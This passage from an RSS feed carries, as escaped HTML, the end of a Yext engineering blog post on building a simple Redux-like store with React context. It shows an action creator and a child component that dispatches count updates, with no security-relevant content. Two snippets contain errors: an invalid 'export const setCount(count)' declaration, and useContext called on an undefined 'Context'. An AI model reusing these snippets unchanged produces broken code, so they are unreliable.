&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;setCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SET_COUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;bring-it-all-together&quot;&gt;Bring it All Together&lt;/h1&gt;

&lt;p&gt;Now, we can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dispatch&lt;/code&gt; function to update the global state from any child component:&lt;/p&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ChildComponent.jsx&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;React&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;useContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;useState&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;react&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CountContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;setCount&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;../reducer&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ChildComponent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;props&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dispatch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;useContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;setValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;useState&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;Enter a number:&lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onChange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;setValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;button&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;button&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onClick&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dispatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
        Set Count
      &lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, when a user clicks the “Set Count” button, the global &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;count&lt;/code&gt; state will be updated. Furthermore, any child which subscribes to that global state will automatically see all dispatched updates!&lt;/p&gt;

&lt;p&gt;Just remember: using Redux is cool, but making your own (basic) Redux is far cooler 😎.&lt;/p&gt;
</description>
                <pubDate>Mon, 22 Feb 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/writing-our-own-redux</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/writing-our-own-redux</guid>
            </item>
        
    </channel>
</rss>